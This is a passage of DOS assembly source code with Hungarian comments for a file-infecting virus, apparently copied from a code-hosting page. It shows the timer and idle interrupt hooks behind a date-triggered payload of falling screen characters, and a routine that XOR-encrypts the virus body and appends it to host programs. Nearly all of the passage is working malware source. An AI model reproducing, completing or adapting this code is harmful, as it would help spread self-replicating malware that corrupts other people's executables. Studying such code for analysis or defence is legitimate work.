PO9: TEST STATUS,10B ; POTYOGOTT MAR KARAKTER?
|
||||
JZ POD ; IGEN
|
||||
JMP PO8 ; UJ KISERLET
|
||||
POD: CALL HANGSZ ; HANG ELOALLITASA
|
||||
DEC SI ; EGGYEL KEVESEBB KARAKTER VAN HATRA
|
||||
JZ PO7 ; HA NULLA, AKKOR KILEPNI
|
||||
JMP PO3 ; UJRA KISERELNI
|
||||
PO7: IN AL,61H ; A HANGSZORO BEOLVASASA
|
||||
AND AL,11111100B ; KIKAPCSOLASA
|
||||
OUT 61H,AL ; MAJD VISSZAIRASA
|
||||
RET ; VISSZATERES
|
||||
POTY ENDP
|
||||
|
||||
UJ1C: TEST CS:STATUS,1001B ; A POTYOGAS TILTVA, VAGY EPPEN POTYOG?
|
||||
JNZ U1C_1 ; IGEN
|
||||
OR CS:STATUS,1 ; EPPEN POTYOG JELZOT BEALLITANI
|
||||
DEC CS:SZAML ; A SZAMLALOT CSOKKENTENI
|
||||
JNZ U1C_2 ; HA MEG NEM NULLA, AKKOR VEGE
|
||||
PUSH DS ; REGISZTEREK ELMENTESE
|
||||
PUSH ES
|
||||
PUSH CS
|
||||
POP DS ; DS=CS
|
||||
PUSH CS
|
||||
POP ES ; ES=CS
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
PUSH BP
|
||||
MOV AL,20H
|
||||
OUT 20H,AL
|
||||
MOV AX,SZAMLEL ; A SZAMLALO ELOZO ERTEKE
|
||||
CMP AX,0438H ; AZ ELOZO ERTEK KISEBB VOLT?
|
||||
JNB U1C_3 ; NEM
|
||||
MOV AX,0438H ; KB. 60 MASODPERC
|
||||
U1C_3: CALL VELETL ; VELETLENSZAM ELOAALITASA
|
||||
INC AX ; AZ IDO NEM LEHET NULLA
|
||||
MOV SZAML,AX ; ES ELTAROLAS A SZAMLALOBA
|
||||
MOV SZAMLEL,AX ; ES MINT A SZAMLALO UTOLSO ERTEKE IS
|
||||
CALL POTY ; POTYOGTATAS
|
||||
MOV AX,3 ; VELETLENSZAM ELOALLIASA
|
||||
CALL VELETL ; 1 ES 3 KOZOTT
|
||||
INC AX
|
||||
MUL POTYKAR ; EZT SZOROZNI A MAXIMALISAN POTYOGTATHATO
|
||||
JNB U1C_4 ; KARAKTEREK SZAMAVAL
|
||||
MOV AX,0FFFFH ; MAXIMUM 65535 DB LEHET
|
||||
U1C_4: MOV POTYKAR,AX ; ELTAROLASA
|
||||
POP BP ; REGISZTEREK VISSZOLVASASA
|
||||
POP DI
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POP ES
|
||||
POP DS
|
||||
U1C_2: AND CS:STATUS,11111110B ; EPPEN NEM POTYOG BEALLITASA
|
||||
U1C_1: JMP DWORD PTR CS:REG1C ; FOLYTATASA A REGI INT 1CH-N
|
||||
|
||||
UJ28: TEST CS:STATUS,1000B ; TILTVA A POTYOGAS?
|
||||
JZ U28_1 ; HA NEM, AKKOR FELESLEGES VEGREHAJTANI
|
||||
PUSH AX ; REGISZTEREK MENTESE
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
MOV AH,2AH ; A RENDSZERDATUM BEOLVASASA
|
||||
INT 21H
|
||||
CMP CX,1988 ; AZ EV 1988?
|
||||
JB U28_2 ; HA KISEBB, AKKOR KILEPES
|
||||
JA U28_3 ; HA NAGYOBB, AKKOR POTYOGHAT
|
||||
CMP DH,10 ; VAN MAR OKTOBER?
|
||||
JB U28_2 ; HA MEG NINCS, AKKOR NE POTYOGJON
|
||||
U28_3: AND CS:STATUS,11110111B ; A POTYOGAS ENGEDELYEZVE
|
||||
U28_2: POP DX ; REGISZTEREK VISSZAOLVASASA
|
||||
POP CX
|
||||
POP AX
|
||||
U28_1: JMP DWORD PTR CS:REG28 ; FOLYTATAS A REGI INT 28H-N
|
||||
|
||||
UTANMAS PROC NEAR ; A VIRUS KIMASOLASA A PROGRAM MOGE
|
||||
PUSH ES
|
||||
PUSH BX
|
||||
MOV AH,48H ; MEMORIATERULET ALLOKALASA
|
||||
MOV BX,OFFSET HOSSZ/10H+1
|
||||
INT 21H
|
||||
POP BX
|
||||
JNC UTAN1 ; SIKERULT?
|
||||
UTAN3: STC
|
||||
POP ES
|
||||
RET
|
||||
UTAN1: MOV BYTE PTR CS:100H,1
|
||||
MOV ES,AX
|
||||
PUSH CS ; DS=CS
|
||||
POP DS
|
||||
XOR DI,DI ; DI=0
|
||||
MOV SI,100H ; SI=100H
|
||||
MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
|
||||
CLD ; NOVEKVO IRANY
|
||||
REPZ MOVSB ; A VIRUS KIMASOLASA AZ ALLOKALT TERULETRE
|
||||
MOV DI,OFFSET INDIT-100H
|
||||
MOV SI,OFFSET INDIT
|
||||
ADD SI,WORD PTR FILHOS
|
||||
MOV CX,OFFSET VEG-INDIT
|
||||
UTAN2: XOR ES:[DI],SI ; A VIRUS LE XOR-OLASA
|
||||
XOR ES:[DI],CX
|
||||
INC DI
|
||||
INC SI
|
||||
LOOP UTAN2
|
||||
MOV DS,AX ; DS A PUFFER ELEJERE MUTAT
|
||||
MOV AH,40H
|
||||
XOR DX,DX ; AZ OFSZET A PUFFER ELEJERE
|
||||
MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
|
||||
INT 21H ; KIIRAS A PROGRAM MOGE
|
||||
PUSHF
|
||||
PUSH AX
|
||||
MOV AH,49H ; AZ ALLOKALT MEMORIABLOKK FELSZABADITASA
|
||||
INT 21H
|
||||
POP AX ; A REGISZTEREK VISSZAOLVASASA
|
||||
POPF
|
||||
PUSH CS ; DS=CS
|
||||
POP DS
|
||||
JC UTAN3
|
||||
CMP AX,CX ; MINDEN BYTEOT KIIRT?
|
||||
JNZ UTAN3 ; NEM
|
||||
POP ES
|
||||
CLC ; NEM TORTENT HIBA
|
||||
RET ; VISSZATERES
|
||||
UTANMAS ENDP
|
||||
|
||||
VEG EQU $
|
||||
|
||||
VIRUS ENDS
|
||||
|
||||
END
|
||||
|
||||
Reference in New Issue
Block a user